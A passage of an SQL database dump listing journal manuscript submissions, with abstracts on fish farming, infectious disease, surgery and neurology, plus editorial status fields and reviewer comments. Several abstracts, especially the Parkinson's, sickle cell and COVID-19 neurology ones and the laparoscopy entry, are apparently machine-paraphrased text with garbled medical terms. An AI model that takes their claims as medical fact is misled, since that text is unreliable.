the wall for posterior wall suturing.\r\nConclusion: No patency advantage of one technique over the other. However, in the experimental model used, it was found that the invagination technique was faster and technically simpler to perform. Flow-through the invagination was nearly equal to that through the oblique cut end-to-end.','microsurgery, experimental microsurgical anastomosis, sleeve suture technique, oblique cut technique.',4792,NULL,'2022-09-08',NULL,'Submitted',2,NULL,'2022-09-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13053,13250,639,0,'ipfs-22-13053','A STUDY ON BENEFIT COST RATIO OF STINGGING CATFISH (HETEROPNEUSTES FOSSILIS)',NULL,5,0,'','This study was conducted with the following objectives:\r\n1.	To improve the economic characteristics of Heteropneustes fossilis between\r\n2.	Biofloc and pond culture farming systems of the selected farmers.\r\n3.	To estimate total fish production, costs, and returns of fish farming on\r\n4.	Heteropneustes fossilis between biofloc and pond culture farming systems in the\r\n5.	Study area.\r\n6.	To explore the relationship of farmers’ selected characteristics with their benefitcost ratio on Heteropneustes fossilis between biofloc and pond culture farming.\r\nAccording to the report that the production of stinging catfish is 45 metric tons from the seasonal cultured pond and it contributes 2.39% of inland waters. According to the same report, the total production of fish is 52663 MT in Dinajpur including that a total of 18934 MT fish production is attained from an area of 2618 Ha in an intensive culture system. Earlier, the fish was abundant in closed and open water eco-system in Bangladesh, but due to various natural and manmade causes, the abundance of the fishes in natural waters has been declined very rapidly. To protect this fish from extinction and to conserve the natural stocks, the development of culture technology for Shing (Heteropneustes fossilis) is essential. With the development of captive breeding and mass seed production technology of the species (Begum et al., 2001), pond production of shing fish has been started in Bangladesh and progressing to an entrepreneurial-scale in recent years, but concentrating mostly to a particular region, especially in Mymenshing . This might be due to that the shing fish hatcheries are mostly located in this particular region and also the lack of awareness of farmers on appropriate grow-out technology for culturing the fish in diversified homestead pond environment in different parts of the country. Some farmers in the Dinajpur district are practicing stinging catfish farming with different species, while others are involved in commercial monoculture. However, in these areas, stinging catfish farmers are not technically advanced like the other parts of Bangladesh. \r\n','',1771,NULL,'2022-09-09',NULL,'Submitted',2,NULL,'2022-09-13',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13054,13251,251,0,'ipacm-22-13054','Brief history of Ebola virus and disease',NULL,5,0,'','Ebola virus disease (EVD) is a severe disease caused by Ebola virus, a member of the filovirus family, which occurs in humans and other primates. The disease emerged in 1976 in almost simultaneous outbreaks in the Democratic Republic of the Congo (DRC) and Sudan (now South Sudan). Between 1979 and 1994 no cases or outbreaks were detected, however since that time outbreaks have been recognised with increasing frequency (see table below). The largest outbreak to date took place in West Africa between March 2014 and June 2016, affecting primarily Guinea, Liberia and Sierra Leone. Over 28,000 cases were recorded. There are 6 species of Ebola virus, 4 of which have caused disease in humans:','',4706,NULL,'2022-09-09',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13057,13254,251,0,'ipacm-22-13057','Microbial Genomics: Genome Sequencing',NULL,5,0,'','Bacterial genomes are generally smaller and less variant in size among species when compared with genomes of eukaryotes. Bacterial genomes can range in size anywhere from about 130 kbp to over 14 Mbp. A study that included, but was not limited to, 478 bacterial genomes, concluded that as genome size increases, the number of genes increases at a disproportionately slower rate in eukaryotes than in non-eukaryotes. Thus, the proportion of non-coding DNA goes up with genome size more quickly in non-bacteria than in bacteria. This is consistent with the fact that most eukaryotic nuclear DNA is non-gene coding, while the majority of prokaryotic, viral, and organellar genes are coding. Right now, we have genome sequences from 50 different bacterial phyla and 11 different archaeal phyla. Second-generation sequencing has yielded many draft genomes (close to 90% of bacterial genomes in GenBank are currently not complete); third-generation sequencing might eventually yield a complete genome in a few hours. The genome sequences reveal much diversity in bacteria. Analysis of over 2000 Escherichia coli genomes reveals an E. coli core genome of about 3100 gene families and a total of about 89,000 different gene families. Genome sequences show that parasitic bacteria have 500–1200 genes, free-living bacteria have 1500–7500 genes, and archaea have 1500–2700 genes. A striking discovery by Cole et al. described massive amounts of gene decay when comparing Leprosy bacillus to ancestral bacteria. Studies have since shown that several bacteria have smaller genome sizes than their ancestors did. Over the years, researchers have proposed several theories to explain the general trend of bacterial genome decay and the relatively small size of bacterial genomes. Compelling evidence indicates that the apparent degradation of bacterial genomes is owed to a deletional bias.','',3944,NULL,'2022-09-09',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13058,13255,996,0,'ipar-22-13058','Calf Muscle Pain: Gastrocnemius Strains',NULL,5,2,'','Calf strains are common injuries seen in primary care and sports medicine clinics. Differentiating strains of the gastrocnemius or soleus is important for treatment and prognosis. Simple clinical testing can assist in diagnosis and is aided by knowledge of the anatomy and common clinical presentation.\r\nPeripheral nerves send messages from the brain and spinal cord to the rest of the body. They help do things such as sense that the feet are cold and move the body\'s muscles for walking. Peripheral nerves are made of fibers called axons that are insulated by surrounding tissues. Peripheral nerves are fragile and easily damaged. A nerve injury can affect the brain\'s ability to communicate with muscles and organs. Damage to the peripheral nerves is called peripheral neuropathy. It\'s important to get medical care for a peripheral nerve injury as soon as possible. Early diagnosis and treatment may prevent complications and permanent damage.\r\n','Muscle strain; Calf; Gastrocnemius; Soleus',3649,NULL,'2022-09-12',NULL,'Submitted',12,NULL,'2023-04-10',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13059,13256,975,0,'ipjbs-22-13059','Diverse applications of Electrostimulation and its future prospects ',NULL,25,0,'','Electrical stimulation is one of those technologies whose potential has not yet been completely explored. There are numerous ways in which technology can be harnessed for the betterment of mankind. Conventional medication for pain relief has numerous side-effects. The pain medication often causes blotting, nausea and headache. Electro stimulation as a technology has immense potential to revolutionize the pain management industry. Along with the Medical & therapeutic use, the technology also has a significant potential to replace chemical fertilizers in agriculture and improve biotic & abiotic tolerances of the major crops.','Electrostimulation Technology & its diverse applications ',3460,NULL,'2022-09-12',NULL,'Submitted',2,NULL,'2022-09-19',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(13060,13257,326,0,'IPJUS-22-13060','Sinus Surgery and Methods',NULL,5,0,'','The objective of this study was to assess the efficacy of FESS in the treatment of primary and recurrent nasal polyposis in our setup in comparison with published studies.\r\nTo describe the efficacy of Functional Endoscopic Sinus Surgery (FESS) in our set up in comparison with other published studies to treat primary and recurrent nasal polyposis.\r\n','Functional endoscopic sinus surgery; Nasal polyposis; preferred treatment',2505,NULL,'2022-09-12',NULL,'Submitted',12,NULL,'2022-11-25',NULL,1,1,'1','The descriptive manuscript submitted by Arvinda Morya has some potential. We would like to recommend author to revise such draft and resubmitted an improved version:\r\nThe abstract is insufficient and does not correctly summerise the manuscript nor the presented results and conclusions\r\nIntroduction should be expanded and disease correctly described (incidence, current treatments, and more). Bibliography is insufficient/missing in several paragraph\r\nresults description is merely focusing on demographic characteristics. histological analysis and medical conditions should be summerized and detailed. The includions of fiure and table, reporting results is vivdy encouraged.\r\n',0,'','',NULL,0,0,0,NULL,0),(13061,13259,639,0,'ipfs-22-13061','Fish Pathology and Research in Aquaculture',NULL,5,0,'','One of the main constraints in aquaculture production is farmed fish vulnerability to diseases due to husbandry practices or external factors like pollution, climate changes, or even the alterations in the dynamic of product transactions in this industry. It is though important to better understand and characterize the intervenients in the process of a disease outbreak as these lead to huge economical losses in aquaculture industries. High-throughput technologies like proteomics can be an important characterization tool especially in pathogen identification and the virulence mechanisms related to host-pathogen interactions on disease research and diagnostics that will help to control, prevent, and treat diseases in farmed fish. Proteomics important role is also maximized by its holistic approach to understanding pathogenesis processes and fish responses to external factors like stress or temperature making it one of the most promising tools for fish pathology research.','proteomics, fish diseases, aquaculture, fish pathology, fish welfare',1771,NULL,'2022-09-13',NULL,'Submitted',14,NULL,'2023-01-17',NULL,1,1,'1','Accept ',0,'','',NULL,0,0,0,NULL,0),(13062,13260,45,0,'iphsj-22-13062','Assessment of Knowledge about Danger Signs of Pregnancy and Its Associated Factors among Women in Akaki Kality Sub-city, Addis Ababa, Ethiopia',NULL,14,0,'','Abstract\r\nBackground: Maternal mortality rates in Ethiopia are still high; at an estimated 412 per 100,000 live births, where little is known about the status of pregnant women on danger signs of pregnancy. Increasing women\'s knowledge of pregnancy danger signs is essential for safe motherhood. \r\nObjectives: To assess knowledge about danger signs of pregnancy and its associated factors among women in the Akaki-Kality sub-city, Addis Ababa, Ethiopia.\r\n Methods: A cross-sectional study was conducted among pregnant women in the Akaki-kality sub-city from July 10 to July 25, 2022. A total of 464 study participants were chosen using a systematic random sampling technique. The level of knowledge of pregnancy danger signs was assessed using descriptive statistics, which were also used to summarize other variables. The associated factors with knowledge about the danger signs of pregnancy were declared using a binary logistic regression model with an adjusted odds ratio and a 95% confidence interval (CI). \r\nResults: This study showed that about 259(57.6%) women had good knowledge about the danger signs of pregnancy. Family size [AOR: 1.929, 95% CI (1.138, 3.271)], Number of birth/parity [AOR: 3.872, 95% CI (1.039, 14.438)], Age of pregnancy at first ANC visit [AOR: 0.284, 95% CI (0.158, 0.510)] and be advised on danger sign of pregnancy during ANC visit [AOR: 4.212, 95% CI (2.159, 8.216)] were variables significantly associated with knowledge about danger signs of pregnancy. \r\nConclusion: More than half of the respondents were knowledgeable about the danger signs of pregnancy and action targeted to those significantly associated variables with knowledge about the danger signs of pregnancy should be taken to expand knowledge of women on pregnancy danger signs.\r\n','Keywords: Knowledge, Danger signs, Pregnancy ',3202,NULL,'2022-09-13',NULL,'Submitted',2,NULL,'2022-10-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13063,13261,639,0,'ipfs-22-13063','Efficacy of varying inclusion levels of oxalic acid on growth performance, carcass composition of Oreochromis niloticus and challenge test with Escherichia coli.',NULL,14,0,'','The study investigated the efficacy of varying inclusion levels of oxalic acid on growth performance, carcass composition of Oreochromis niloticus and challenge test with Escherichia coli. O. niloticus of mean weight 7.00g 0.04 were fed with varying oxalic acid supplemented diets for 90 days. At the expiration of the feeding trials significant variations was recorded on growth performance indices and carcass composition of fish. The best growth was recorded in OAC4 which also had best protein retention. The culture water parameters (DO2, temperature, pH) were with the required limits. The study demonstrated that oxalic acid at 1.5% was able to improve growth and had highest survival in challenge test with E. coli.','Oxalic acid, growth performance, carcass composition and Oreochromis niloticus',1776,NULL,'2022-09-14',NULL,'Submitted',2,NULL,'2022-11-10',NULL,1,1,'0','Accept for Publication',0,'','',NULL,0,0,0,NULL,0),(13065,13263,251,0,'ipacm-22-13065','Cholera: Transmission and Symptoms, Treatment',NULL,5,0,'','Cholera is an infection of the small intestine by some strains of the bacterium Vibrio cholerae. Symptoms may range from none, to mild, to severe. The classic symptom is large amounts of watery diarrhea that lasts a few days. Vomiting and muscle cramps may also occur. Diarrhea can be so severe that it leads within hours to severe dehydration and electrolyte imbalance. This may result in sunken eyes, cold skin, decreased skin elasticity, and wrinkling of the hands and feet. Dehydration can cause the skin to turn bluish. Symptoms start two hours to five days after exposure.','Cholera infection, Vibrio cholerae.  ',788,NULL,'2022-09-14',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13066,13264,667,0,'iptb-22-13066','Evolution of Microbiology, the status quo, and the road ahead A perspective',NULL,1,0,'','Microbes are the foundation of the biosphere and the ancestors of the animals that live there. Nonetheless, certain microbes endanger human health as well as the health of plants and animals. As a result, microbiology is critical to studying and understanding all life on this planet.  Microbiological research is evolving at a rapid pace. Recent developments in the aftermath of the pandemic, threats to biosecurity, and antibiotic resistance are altering this faculty\'s perception at a time when the convergence of technological advances and the explosion of knowledge of microbial diversity will enable significant advances in microbiology, and biology in general, over the next decade. To help with this, microbiology should collaborate with other science disciplines and improve access to resources that make use of computational skills. We plan for the future by using reports from the American Academy of Microbiology that have come out over time. ','',4579,NULL,'2022-09-14',NULL,'Submitted',2,NULL,'2022-12-05',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13067,13265,45,0,'iphsj-22-13067','Improving Physical Health for Underserved Elementary School Children: A Comparison of Aerobic and Mind-Body Exercise ',NULL,14,0,'','Objectives: The purpose of this study is to: 1) investigate the physical health benefits of this mind-body exercise among elementary school children and (2) to compare its relative effectiveness with aerobic exercise. Methods: Using a pre- and post-test quasi-experimental design, we compare the effects of three different modes of exercise (i.e., aerobic exercise, mind-body exercise, and regular physical education) on improving physical health (n = 110) among underserved elementary school children over a 16-week period. Results: Our study revealed a significant improvement in improving flexibility (p<=.001) and reducing BMI (p<.001) using the repeated measures analysis of variance. A follow-up pair-wise test showed that Health Qigong group resulted in a greater chance for improving flexibility from pre-test to post-test with a mean increase of 2.769 inches.  BMI decreased more quickly from Health Qigong, with a mean change of .698 (P<.001), than regular P.E. (.224, P<.05) and Energize (.197, P<.05). Conclusion: It appears that Health Qigong can promote cardiovascular health, enhance flexibility, and reduces BMI as well as Energize (aerobic exercise) and regular P.E. activities for elementary school children. These findings underscore the feasibility and effectiveness of incorporating Health Qigong into the elementary school curriculum to improve health and increase physical activity levels from an early age. ','',5387,NULL,'2022-09-16',NULL,'Submitted',2,NULL,'2022-11-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13068,13266,326,0,'IPJUS-22-13068','Neck Surgery: Artificial Disk Replacement (ADR)',NULL,5,0,'','The cervical spine contains 7 bones, called the cervical vertebrae. These bones are stacked on top of one another and linked by discs, ligaments, and muscles. The vertebrae are numbered C1 through C7. The first vertebra, C1, is also called the atlas because it joins with the base of the skull and supports the head (just as Atlas supported the weight of the world in Greek mythology). C2, the second vertebra, is called the axis because the head and C1 swivel around it. These two vertebrae enable most neck movement.\r\nTo understand cervical spine surgery, it is important to know about neck anatomy, spinal conditions that can affect the cervical spine, and surgical goals and techniques used to address neck pain. This article will review that information, and it begins with a quick cervical spine anatomy lesson. It\'s important to know how your neck is supposed to function in order to better understand why you have pain, as well as what will be done to address your condition in surgery.\r\n','Cervical spine, Cervical vertebrae',2505,NULL,'2022-09-16',NULL,'Submitted',2,NULL,'2022-09-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13069,13268,86,0,'ipaom-22-13069','CASE BASED DISCUSSION: A RARE CASE OF EMPTY CELLA SYNDROME IN AN ADULT FEMALE.',NULL,2,0,'','Empty sella syndrome (ESS) is pathophysiologically characterized by either anatomic abnormalities in the diaphragma sellae (primary ESS), damage to the pituitary by irradiation/surgery, or autoimmunity leading to the availability of “empty” space in the sella (secondary ESS). The most prevalent hormone deficiency is growth hormone (GH), affecting 35% to 61% of adult patients with ESS. The most common symptom is headache which is deep, dull, and central. Sometimes headache is very severe, with giddiness and vomiting. In primary ESS, the sella tends to be symmetrically ballooned without evidence of bony lesions. The suprasellar subarachnoid space herniates through an incomplete sellar diaphragm. Cisternography, high resolution CTscanning, or MRI is used for diagnosis. The signs and symptoms depend upon the size, secretion, and pressure over the pituitary gland. The prevalence of primary empty sella, is not known: range from 2% to 20%. Certain clinical conditions like hormonal disturbances, psychiatric disorders, raised ICT and SNHL have been found to be more often associated with ES as compared to general population. Improvements in neuroradiological imaging techniques have resulted in an increase in the incidental finding of “empty sella.” According to current data from India, an empty sella turcica without any detectable cause is an incidental finding in approximately 2% of all cerebral MRI scans, in asymptomatic patients. It may remain asymptomatic or may simulate an intrasellar growth thereby causing diagnostic and therapeutic problems. An air encephalogram (AEG) is required for diagnosis. The index case diagnosed to have Empty sella syndrome of unclear aetiology and was later on determined on radiographic imaging (MRI) and treated successfully. This syndrome is relatively new and not much reported on a routine basis hence radiographic imaging helps in its diagnosis and management.','Empty sella, primary ESS, secondary ESS, MRI.\r\n\r\n',3868,NULL,'2022-09-17',NULL,'Submitted',16,NULL,'2022-11-04',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13070,13269,639,0,'ipfs-22-13070','Perception of a group of fishermen about marine litter',NULL,14,0,'','Marine litter is a serious environmental problem and directly affects fishing activities. Otherwise, these activities contribute to the increase of marine litter with the abandoned, lost or otherwise discarded fishing gear (ALDFG), causing what is known as ghost fishing, responsible for the death of thousands of animals in marine environments. So, the present study sought to assess the profile and the perception about marine litter of fishermen from the Z7 colony, on Itaipu beach, an oceanic region of Niterói, Rio de Janeiro, Brazil. The evaluation was carried out through the application of an open questionnaire to 30 fishermen. The results indicated that despite observing the increasing pollution on marine environments and identifying the main pollutant, most of the interviewees only identify the impacts of the marine litter on their own work (fishing), without pointing the environmental concern as a whole, exempting themselves from guilt regarding the responsibility for this pollution found in the marine environment. Thus, the need for environmental education activities and other actions with this fishing community is evident, in order to mitigate the impacts of this pollution on marine environments.','environmental education; environmental perception; ghost fishing',5411,NULL,'2022-09-17',NULL,'Submitted',2,NULL,'2022-11-10',NULL,1,1,'0','Accept for Publication',0,'','',NULL,0,0,0,NULL,0),(13071,13112,91,0,'ijddr-22-13071','In Silico Molecular Docking Analysis of Potential Anti-Alzheimer\'s Compounds Present in Occimum Santum',NULL,5,0,'','Objective: Alzheimer’s disease (AD), a progressive neurodegenerative disorder with many cognitive and neuropsychiatric symptoms, is biochemically characterized by a significant decrease in the brain neurotransmitter Acetylcholine (ACh).\r\nMethods: : In the present insilico study, four plant bioactive compounds of Ocimum sanctum were analyzed for their inhibitory role on AChE (Acetylcholinesterase) and BChE (Butyrylcholinesterase) activity by applying the molecular docking studies. Other parameters viz. determination of molecular interaction-based binding affinity values, protein-ligand interactions, Lipinski rule of five, functional properties and biological activities for the above compounds were also calculated by employing the appropriate bioinformatics tools. The active compounds is to reveal its potentiality by molecular docking analysis to find out its potent compound against alzheimer’s disease which was done by Lipinski\'s rule in docking analysis. \r\nResults: A wide range of docking score found during molecular docking analysis. Among the compounds Eugenol, ? – Farnesene, Benzene, 1, 2- dimethoxy-4-(1-propenyl) and Cyclohexane, 1, 2, 4-triethenyl  is found to be a good inhibitor of 4 well-known drug targets. This is an effective lead molecule that can be used in the treatment of Alzheimer’s disease.The results of docking analysis clearly showed that Cyclohexane-1,2,4-triethenyl has highest binding affinity with AChE and BChE  \r\nConclusion: Cyclohexane-1,2,4-triethenyl and other compounds are  inhibiting of both, as it possessed best value in Molecular docking hence these are the potent anti-alzheimer\'s agent.','Ocimum sanctum; Molecular docking; Alzheimer’s disease; Eugenol',2428,NULL,'2022-09-17',NULL,'Submitted',2,NULL,'2022-09-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13072,13270,326,0,'IPJUS-22-13072','Pacemaker Surgery and Epicardial pacing ',NULL,5,0,'','The contraction of cardiac muscle (heart muscle) in all animals is initiated by electrical impulses known as action potentials that in the heart are known as cardiac action potentials. The rate at which these impulses fire controls the rate of cardiac contraction, that is, the heart rate. The cells that create these rhythmic impulses, setting the pace for blood pumping, are called pacemaker cells, and they directly control the heart rate. They make up the cardiac pacemaker, that is, the natural pacemaker of the heart. In most humans, the highest concentration of pacemaker cells is in the sinoatrial (SA) node the natural and primary pacemaker, and the resultant rhythm is a sinus rhythm. Sometimes an ectopic pacemaker sets the pace, if the SA node is damaged or if the electrical conduction system of the heart has problems. Cardiac arrhythmias can cause heart block, in which the contractions lose any useful rhythm. In humans, and sometimes in other animals, a mechanical device called an artificial pacemaker (or simply \"pacemaker\") may be used after damage to the body\'s intrinsic conduction system to produce these impulses synthetically.','Pacemaker Surgery',2505,NULL,'2022-09-20',NULL,'Submitted',14,NULL,'2023-12-07',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13073,13271,326,0,'IPJUS-22-13073','Thyroid Surgery: Surgical Anatomy',NULL,5,0,'','Incidence rates of thyroid cancer have increased substantially worldwide in the past several decades. Thus, diseases of the thyroid gland and their treatment remain one of the most interesting and dynamic areas of study in medicine. This chapter presents a clear and concise description of current thought and practice concerning the surgical treatment of thyroid diseases. Sections within this chapter include normal and abnormal anatomy and embryology of the thyroid and surrounding neck structures indications for operation of benign lesions of this gland diagnosis of thyroid nodules, stressing the use of fine needle aspiration with cytologic analysis preparation for operation and care of patients with Graves’ disease surgical approaches for treatment of the different types of thyroid cancer operative techniques for thyroidectomy including descriptions of standard open, minimally invasive, endoscopic, robotic and transoral approaches complications of thyroidectomy and their treatment and developmental abnormalities of the thyroid and their treatment. This chapter offers information for physicians and endocrinologists, as well as for surgeons. Relative anatomy, anesthesia techniques, and technology have allowed thyroidectomies to become a standard, effective, and safe procedure throughout most of the world with mortality far, far, below that landmark 1% from Kocher\'s time. \r\nThyroidectomy is the surgical removal of all or part of your thyroid gland. Your thyroid is a butterfly-shaped gland located at the base of your neck. It produces hormones that control every aspect of your metabolism, from your heart rate to how quickly you burn calories.\r\n','Thyroid Surgery',2505,NULL,'2022-09-20',NULL,'Submitted',2,NULL,'2022-09-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13074,13272,326,0,'IPJUS-22-13074','Laparoscopic Surgery and laparoscopic Treatment',NULL,5,0,'','Laparoscopic surgery is a surgical fashion in which short, narrow tubes (trochars) are fitted into the tummy through small (lower than one centimeter) lacerations. Through these trochars, long, narrow instruments are fitted. The surgeon uses these instruments to manipulate, cut, and suture towel.','Laparoscopic Surgery',2505,NULL,'2022-09-20',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13075,13273,277,0,'ipadm-22-13075','Esteatohepatitis no alcohólica: De la fisiopatología al diagnóstico.',NULL,15,0,'','La enfermedad por hígado graso no alcohólico se caracteriza por el acumulo de grasa en >5% de los hepatocitos; el espectro de la enfermedad se divide en dos grandes grupos donde encontramos el hígado graso no alcohólico y, por otro lado, la esteatohepatitis no alcohólica siendo ambas un mismo espectro de la enfermedad. La esteatohepatitis no alcohólica (EHNA) se caracteriza por la presencia de daño hepatocelular, asociada a inflamación y algún grado de fibrosis a nivel hepático por lo que se constituye como un factor de riesgo para cirrosis y carcinoma hepatocelular. A continuación, se presenta una revisión de la EHNA desde su fisiopatogenia hasta las nuevas técnicas de diagnóstico. ','Hígado graso, Esteatohepatitis, Esteatosis hepática no alcohólica, FibroScan, Biopsia hepática',2707,NULL,'2022-09-21',NULL,'Submitted',2,NULL,'2022-10-26',NULL,1,1,'1','The manuscript was technically well written. The focus of the manuscript concepts on implication in pathophysiology, with an emphasis on non-alcohol fatty liver diseases such as diabetes mellitus, obesity, and cardiovascular diseases. Non-alcoholic  fatty liver disease is one of the deadliest disease, as no standard treatment exists doctors will treat the underlying condition, such as obesity. I recommend this manual for publication without any changes.',0,'','',NULL,0,0,0,NULL,0),(13076,13274,45,0,'iphsj-22-13076','Cardiovascular outcomes in Dilated Cardiomyopathy patients with and without Implantable Cardioverter Defibrillator',NULL,14,0,'','ABSTRACT\r\nBACKGROUND\r\nDilated cardiomyopathy(DCM) is an important cause of sudden cardiac death and heart failure. It is charecterised by heart chamber dilatation , ventricular  systolic dysfunction. there can be different causes for DCM like inherited, infectious and inflammatory diseases. Patients with DCM develop a broad range of brady arrhythmias and tachyarrhythmias. Some patients could benefit from ICD treatment and demonstrate a significant mortality reduction especially, SCD reduction.\r\nAIM\r\nCardiovascular outcomes in dilated cardiomyopathy patients  with and without implantable cardioverter defibrillator.\r\nMETHODS\r\nThis study comprised of 86 patients with DCM  who are divided into two groups. group 1 includes those patients with implanted AICD/CRTD and group 2 includes patients with LVEF<45% and without CRTD/AICD ( 43 patients each) .their baseline charecteristics were analysed statistically and comparison between the two groups were done and outcomes were obtained.\r\nRESULTS\r\nMost of the patients had severe LV systolic dysfunction on diagnosis as well as on follow up. Higher number of patients belong to NYHA class 2 prior and after the treatment. The number of patients who had prior hospitalisation for heart failure is   much similar within group 1 and 2 (39/43 and33/43 patients respectively).\r\nEvents of aborted SCD(VT/VF) was more common within group 1. 19  patients (19/43)in group 1  had appropriate ICD therapy and only a very few patients had events of inappropriate ICD shock. Mortality is similar within group 1 and 2 (16.3% and 14% respectively). The frequency of patients who had SCD is more  within group 2 and heart failure related death is more in group 1.\r\nCONCLUSION\r\nThere was a higher number(P=0.008) of patients who succumbed to heart failure related deaths in group 1 ( with AICD/CRTD). it is reasonable to assume that the patients in group 1 belonged to a much more advanced heart failure subset.\r\nThere was a higher number (P=0.008) of patients who had a sudden cardiac death in group 2 ( without  AICD/CRTD). This is  likely due to the fact that the group included only patients without implantable cardioverter defibrillator.\r\n','',5403,NULL,'2022-09-22',NULL,'Submitted',2,NULL,'2022-11-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13077,13276,73,0,'ipjnn-22-13077','Advancement of neuroimaging to improve care in sickle cell disease',NULL,5,0,'','Sickle cell disease is related with moderate and expanded neurological bleakness all through the life expectancy. In individuals with sickle cell frailty (the most widely recognized and serious kind of sickle cell disease), quiet cerebral infarcts are found in excess of 33% of teenagers by age 18 years and generally 50% of youthful grown-ups by age 30 years, a considerable lot of whom have mental impedance regardless of having not many or no regular stroke risk factors. Normal physical neuroimaging in people with sickle disease can survey underlying cerebrum injury, like stroke and quiet cerebral infarcts; be that as it may, arising progressed neuroimaging strategies can give novel bits of knowledge into the pathophysiology of sickle cell infection, including experiences into the cerebral haemodynamic and metabolic donors of neurological injury. Progressed neuroimaging techniques, especially strategies that report on distorted cerebral blood stream and oxygen conveyance, have potential for triaging patients for fitting disease changing or remedial treatments before they have irreversible neurological injury, and for affirming the advantage of new treatments on mind wellbeing in clinical preliminaries.','',351,NULL,'2022-09-23',NULL,'Submitted',2,NULL,'2022-09-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13078,13277,73,0,'ipjnn-22-13078','Effect of Vitamin D on Parkinson\'s disease patients affected with SARS-CoV-2',NULL,5,0,'','A novel Covid reportedly called 2019-nCoV started to spread all over the planet toward the finish of 2019. Extreme intense respiratory condition Covid 2 (SARS-CoV-2) was subsequently renamed after joins with SARS were noticed. Numerous examinations have announced potential associations between the Coronavirus infection and neurodegenerative illnesses, including Parkinson\'s sickness. Hypotheses support that lack of vitamin D has an impact in the pathogenicity of Parkinson\'s illness or the believability of the related dopamine framework. Organization of nutrient D3 was displayed to improve the motor and non-motor appearances of Parkinson\'s sickness and upgrade the personal satisfaction essentially. Likewise, numerous new surveys have shown explicit manners by which vitamin D lessens the gamble of pathogenic contaminations. Late examinations upheld the likely job of vitamin D in lessening the gamble of Coronavirus contaminations and mortality. On the immunological level, invulnerable reaction guideline stays one of the all around perceived activities of vitamin D. Lack of vitamin D has been connected to confusions in patients with SARS-CoV-2 contamination and Parkinson\'s illness. Though more examinations are required, Vitamin D supplementation with a moderate and very much determined measurements of nutrient D3 in patients with Parkinson\'s sickness can assist with limiting the gamble and weight of Coronavirus confusions.','',334,NULL,'2022-09-23',NULL,'Submitted',2,NULL,'2022-09-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13079,13278,73,0,'ipjnn-22-13079','Clinical Research and Treatments in Child Neurology',NULL,5,0,'','  ','',326,NULL,'2022-09-23',NULL,'Submitted',2,NULL,'2022-09-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13080,13279,73,0,'ipjnn-22-13080','Neuroimaging mimics in children affected with COVID-19',NULL,5,0,'','Covid disease 2019, brought about by SARS-CoV-2, has impacted more than 200 million individuals universally  with kids containing 12.9% of revealed cases in the US. In kids, Coronavirus disease seems, by all accounts, to be related with gentle respiratory side effects; be that as it may, serious neurological confusions might happen related to multisystem inflammatory condition. A wide range of neurological sicknesses have been seen in kids with Coronavirus contamination including encephalitis, intense necrotizing encephalopathy, intense scattered encephalomyelitis, cytotoxic sore of the callosal splenium, back reversible encephalopathy condition, venous sinus apoplexy, vasculitis and dead tissue, Guillain-Barré disorder, cross over myelitis, and myositis. This survey portrays the trademark attractive reverberation neuroimaging highlights of these sicknesses and their separations from other imaging copies. Furthermore, we survey the conceivable pathophysiology hidden the relationship between these sicknesses and Coronavirus contamination. As new SARS-CoV-2 variations arise and Coronavirus contamination keeps on spreading around the world, pediatricians, radiologists, and first-line parental figures ought to know about conceivable neurological illnesses related with Coronavirus disease when these announced neuroimaging designs are seen in kids during this pandemic','',351,NULL,'2022-09-23',NULL,'Submitted',2,NULL,'2022-09-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13081,13280,73,0,'ipjnn-22-13081','A systematic review: Parkinson’s disease',NULL,5,0,'','Parkinson\'s disease is a recognizable clinical disorder with a scope of causes and clinical introductions. Parkinson\'s disease addresses a quickly developing neurodegenerative condition; the rising commonness overall looks like the numerous qualities regularly saw during a pandemic, with the exception of an irresistible reason. In many populaces, 3-5% of Parkinson\'s disease is made sense of by hereditary causes connected to known Parkinson\'s disease qualities, in this manner addressing monogenic Parkinson\'s disease, though 90 hereditary gamble variations all in all make sense of 16-36% of the heritable gamble of non-monogenic Parkinson\'s infection. Extra causal affiliations incorporate having a relative with Parkinson\'s disease or quake, obstruction, and being a non-smoker, each basically multiplying the gamble of Parkinson\'s infection. The conclusion is clinically based; subordinate testing is held for individuals with an abnormal show. Flow measures characterize Parkinson\'s disease as the presence of bradykinesia joined with either rest quake, unbending nature, or both. Notwithstanding, the clinical show is complex and incorporates numerous non-engine side effects. Prognostic directing is directed by consciousness of infection subtypes. Clinically manifest Parkinson\'s disease is gone before by a possibly lengthy prodromal period. By and by, foundation of prodromal side effects has no clinical ramifications other than side effect concealment, in spite of the fact that acknowledgment of prodromal parkinsonism will likely have outcomes when diseasemodifying medicines become accessible. Treatment objectives fluctuate from one individual to another, accentuating the requirement for customized administration. There is no great explanation to defer suggestive treatment in individuals creating handicap because of Parkinson\'s disease. Levodopa is the most well-known medicine utilized as first-line treatment. Ideal administration ought to begin at determination and requires a multidisciplinary group approach, including a developing collection of nonpharmacological intercessions. As of now, no treatment can dial back or capture the movement of Parkinson\'s disease, however educated by new bits of 